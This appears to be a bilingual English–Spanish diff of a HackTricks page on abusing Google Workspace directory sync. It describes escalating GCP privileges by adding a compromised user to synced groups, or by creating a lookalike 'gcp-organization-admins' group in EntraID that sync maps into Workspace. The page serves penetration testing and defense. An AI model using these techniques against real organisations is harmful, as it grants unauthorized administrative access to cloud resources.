> Note that even if the groups and memberships are imported into Workspace, the **users that aren't synchronized in the users sychronization won't be created** during groups synchronization even if they are members of any of the groups synchronized.
|
||||
> Ten en cuenta que incluso si los grupos y membresías se importan a Workspace, los **usuarios que no están sincronizados en la sincronización de usuarios no serán creados** durante la sincronización de grupos, incluso si son miembros de alguno de los grupos sincronizados.
|
||||
|
||||
If you know which groups from Azure are being **assigned permissions in Workspace or GCP**, you could just add a compromised user (or newly created) in that group and get those permissions.
|
||||
Si sabes qué grupos de Azure están siendo **asignados permisos en Workspace o GCP**, podrías simplemente agregar un usuario comprometido (o recién creado) en ese grupo y obtener esos permisos.
|
||||
|
||||
There is another option to abuse existing privileged groups in Workspace. For example, the group `gcp-organization-admins@<workspace.email>` usually has high privileges over GCP.
|
||||
Hay otra opción para abusar de grupos privilegiados existentes en Workspace. Por ejemplo, el grupo `gcp-organization-admins@<workspace.email>` generalmente tiene altos privilegios sobre GCP.
|
||||
|
||||
If the synchronization from, for example EntraID, to Workspace is **configured to replace the domain** of the imported object **with the email of Workspace**, it will be possible for an attacker to create the group `gcp-organization-admins@<entraid.email>` in EntraID, add a user in this group, and wait until the synchronization of all the groups happen.\
|
||||
**The user will be added in the group `gcp-organization-admins@<workspace.email>` escalating privileges in GCP.**
|
||||
Si la sincronización de, por ejemplo, EntraID, a Workspace está **configurada para reemplazar el dominio** del objeto importado **con el correo electrónico de Workspace**, será posible para un atacante crear el grupo `gcp-organization-admins@<entraid.email>` en EntraID, agregar un usuario en este grupo y esperar hasta que ocurra la sincronización de todos los grupos.\
|
||||
**El usuario será agregado en el grupo `gcp-organization-admins@<workspace.email>` escalando privilegios en GCP.**
|
||||
|
||||
### From Google Workspace -> AD/EntraID
|
||||
### De Google Workspace -> AD/EntraID
|
||||
|
||||
Note that Workspace require credentials with read only access over AD or EntraID to synchronize users and groups. Therefore, it's not possible to abuse Google Workspace to perform any change in AD or EntraID. So **this isn't possible** at this moment.
|
||||
Ten en cuenta que Workspace requiere credenciales con acceso de solo lectura sobre AD o EntraID para sincronizar usuarios y grupos. Por lo tanto, no es posible abusar de Google Workspace para realizar ningún cambio en AD o EntraID. Así que **esto no es posible** en este momento.
|
||||
|
||||
I also don't know where does Google store the AD credentials or EntraID token and you **can't recover them re-configuring the synchronizarion** (they don't appear in the web form, you need to give them again). However, from the web it might be possible to abuse the current functionality to **list users and groups**.
|
||||
Tampoco sé dónde almacena Google las credenciales de AD o el token de EntraID y no **puedes recuperarlos reconfigurando la sincronización** (no aparecen en el formulario web, necesitas darlos nuevamente). Sin embargo, desde la web podría ser posible abusar de la funcionalidad actual para **listar usuarios y grupos**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user